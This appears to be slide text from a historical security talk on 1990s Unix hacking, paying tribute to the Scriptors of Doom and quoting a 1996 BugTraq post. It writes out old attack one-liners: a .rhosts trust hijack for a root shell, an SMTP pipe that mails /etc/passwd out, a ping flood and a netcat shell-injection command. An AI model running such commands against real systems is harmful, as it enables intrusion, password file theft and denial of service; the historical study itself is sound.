Old Style Hacking

A moment in security
History

-- nikoteen

libc

Buffer Overflow

Format String

gdb

Windows

SSH

gcc

SoftIce

#include <stdio.h>

-- nikoteen

libc

Buffer Overflow

Format String

gdb

Windows

SSH

gcc

SoftIce

```
#include <stdio.h>
```

FOOD FOR KIDS

-- nikoteen

```
echo “+ +” > /.rhosts
```

-- nikoteen

```
echo “+ +” > /.rhosts
```

THE HOLY GRAAL

-- nikoteen

Old Style Hacking (1996)

Local exploit:

```
echo “+ +” > /.rhosts
remsh localhost -l root /bin/ksh -i
```

-- nikoteen

Old Style Hacking (1996)

Remote exploit:

```
telnet smtp.sstic.org 25
mail from: "|/bin/mail nikoteen@no-log.org < /etc/passwd"
```

-- nikoteen

Old Style Hacking (1996)

Denial of Service

```
ping -f victime.sstic.org
```

-- nikoteen

A tribute to Scriptors of Doom

- From symlink to buffer overflows -

```
To:  BugTraq
Subject:
Date:  Nov 16 1996 2:54AM
Author:  Scriptors of DOOM <sod command com inter net>


Somehow I get the feeling that CIAC is trying to tell me something --

> One of the most common indications that a machine has been compromised
> by these or similar vulnerabilities are links from a world writable
> directory (such as /tmp) to a system file (such as /.rhosts) in a
> directory requiring root privilege to write or create files there, and
> /.rhosts files with ++ at the beginning of any line.

I guess we've been laying it pretty heavy on the symlinks.  Sorry.  We'll
apologize by skipping the symlink problem we were going to do this week
and putting in something unrelated.

Of course, now that our Lord & Master aleph1 has released a whole buncha
good buffer-overflow stuff to Phrack, we figure now is a good time to
follow that lead.  /usr/diag/bin/mstm and cstm share the same stuffs in
that regard, and they can both lead the unworthy to a higher purpose.
```

-- nikoteen

A tribute to Scriptors of Doom

- Shortest exploit in history ? -

```
#!/bin/ksh
echo ' 11T ;/bin/ksh' | nc $1 5556
# Yup, that's it.  That's the hole.. Believe it.
```

-- nikoteen

A tribute to Scriptors of Doom

- Colonel Panic was never identified -

I am his last and only fan.
Please help !

-- nikoteen

A tribute to Scriptors of Doom

- The HP Bug Of The Week -

(1996-1997)

http://www.clacbec.net/~null/sod.html

-- nikoteen

Old School Hacking

- References -

- “***Improving the Security of Your Site by Breaking Into it***”
  Dan Farmer, Wietse Venema, 1993
  http://nsi.org/Library/Compsec/farmer.txt

- “***Smashing The Stack For Fun And Profit***”
  Aleph1, 1996
  http://www.phrack.org/phrack/49/P49-14

- Bugtraq Mailing-List
  http://www.securityfocus.com/archive/1

-- nikoteen